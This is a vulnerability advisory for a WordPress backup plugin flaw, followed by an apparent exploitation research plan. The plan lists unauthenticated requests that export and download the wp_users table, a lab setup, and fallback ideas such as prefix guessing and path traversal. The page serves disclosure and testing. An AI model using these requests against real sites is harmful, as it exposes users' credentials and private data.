Database Backup for WordPress <= 2.5.2 - Missing Authorization to Unauthenticated Database Export
Description
The Database Backup for WordPress plugin for WordPress is vulnerable to unauthorized database export in all versions up to, and including, 2.5.2. This is due to the plugin not properly enforcing the return value of its authorization check. This makes it possible for unauthenticated attackers to export database tables, leading to Sensitive Information Exposure. Note: This vulnerability is only exploitable in WordPress Multisite environments where the deprecated is_site_admin() function exists.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.5.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-4029 ## 1. Vulnerability Summary The **Database Backup for WordPress** plugin (<= 2.5.2) contains a missing authorization vulnerability that allows unauthenticated attackers to trigger and download a full database export. The flaw exists because the plugin's …
Show full research plan
Exploitation Research Plan - CVE-2026-4029
1. Vulnerability Summary
The Database Backup for WordPress plugin (<= 2.5.2) contains a missing authorization vulnerability that allows unauthenticated attackers to trigger and download a full database export. The flaw exists because the plugin's authorization method, can_user_backup(), fails to terminate execution (e.g., via wp_die()) when an authorization check fails, particularly in WordPress Multisite environments where the legacy is_site_admin() function is present.
Because the caller of this function (the init() method) does not check the return value of can_user_backup(), the code proceeds to execute the backup and delivery logic regardless of the user's authentication or authorization status.
2. Attack Vector Analysis
- Endpoints: Any WordPress page (frontend or backend), as the vulnerable logic is hooked to
init. - Vulnerable Parameters:
fragment(for triggering the export) andbackup(for downloading the file). - Authentication: None required (Unauthenticated).
- Preconditions:
- The environment must be a WordPress Multisite installation.
- The deprecated function
is_site_admin()must exist in the environment (common in legacy Multisite setups or installations with compatibility layers).
3. Code Flow
- Entry Point: An unauthenticated request is made with the
fragmentGET parameter. - Hook Registration: Inside
wp-db-backup.php, the__construct()method of thewpdbBackupclass runs:} elseif ( isset( $_GET['fragment'] ) ) { $this->can_user_backup( 'frame' ); // Logic fails to die() here add_action( 'init', array( &$this, 'init' ) ); - Authorization Failure:
can_user_backup()is called. In a Multisite environment withis_site_admin()defined, the plugin checks authorization but likely returnsfalseinstead of callingwp_die(). - Bypass: The execution returns to
__construct(), which successfully registers theinitaction. - Execution Sink: When the
inithook fires,wpdbBackup::init()is called:function init() { $this->can_user_backup(); // Again, return value ignored if ( isset( $_GET['fragment'] ) ) { list($table, $segment, $filename) = explode( ':', sanitize_text_field( $_GET['fragment'] ) ); // ... validation logic ... $this->backup_fragment( $table, $segment, $filename ); // Table is dumped to file } } - Retrieval: The attacker then makes a second request with
?backup=[filename]to download the generated file viadeliver_backup().
4. Nonce Acquisition Strategy
This vulnerability bypasses nonce checks entirely.
- The
do_backupPOST path in__constructis protected bycheck_admin_referer( $this->referer_check_key ). - However, the
fragmentandbackupGET paths used for the fragment-based backup process do not verify nonces in the vulnerable versions. - Conclusion: No nonce is required for this exploit.
5. Exploitation Strategy
Step 1: Trigger Table Export
Identify the target table (usually the users table, including the prefix, e.g., wp_users). We will use a custom filename to avoid collision with the Swatch-time-based default filenames.
Request:
- Method:
GET - URL:
http://<target>/index.php?fragment=wp_users:0:pwned_db.sql
The plugin will execute backup_fragment('wp_users', 0, 'pwned_db.sql'), writing the first segment of the users table to the backup directory.
Step 2: Download the Export
Once the file is generated, request it using the backup parameter.
Request:
- Method:
GET - URL:
http://<target>/index.php?backup=pwned_db.sql&via=http
The plugin will call deliver_backup('pwned_db.sql', 'http'), which sends the SQL file content in the HTTP response.
6. Test Data Setup
- Multisite Setup: Convert the test WordPress instance to a Multisite network (add
define('WP_ALLOW_MULTISITE', true);towp-config.phpand follow the Network Setup). - Mock Deprecated Function: Since
is_site_admin()was removed in WP 3.0, ensure it is available to satisfy the exploit condition:wp eval 'function is_site_admin() { return false; }' --skip-plugins(Or add this function to a custom mu-plugin).
- Plugin Configuration: Install and activate
wp-db-backupversion 2.5.2. - Target Data: Create several dummy users to verify they appear in the export.
7. Expected Results
- First Request: Should return a 200 OK (often with minimal output or a script tag).
- Second Request: The response headers should include
Content-Type: application/octet-stream(or similar) andContent-Disposition: attachment; filename="pwned_db.sql". - Content: The body of the response should contain valid SQL dump syntax (e.g.,
INSERT INTO "wp_users" ...).
8. Verification Steps
- Check for generated file: After Step 1, use WP-CLI to verify the file exists in the temporary backup directory:
wp eval 'echo get_temp_dir();'
Search that directory forpwned_db.sql. - Inspect Response: Verify the downloaded SQL contains sensitive data such as user login names and hashed passwords.
9. Alternative Approaches
- Automated Full Export: If
fragmentrequires iterating segments, a script can be written to loop throughsegmentvalues (0, 1, 2...) until the table is fully dumped. - Core Tables Guessing: If the table prefix is unknown, attempt to guess common ones (
wp_,wp_1_,wp_2_) or try to dumpwp_optionsfirst to find the prefix. - Temporary Directory Traversal: If
validate_fileis weak (not visible in snippet), try to use thebackupparameter to read other system files, though the plugin primarily restricts this to$this->backup_dir.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.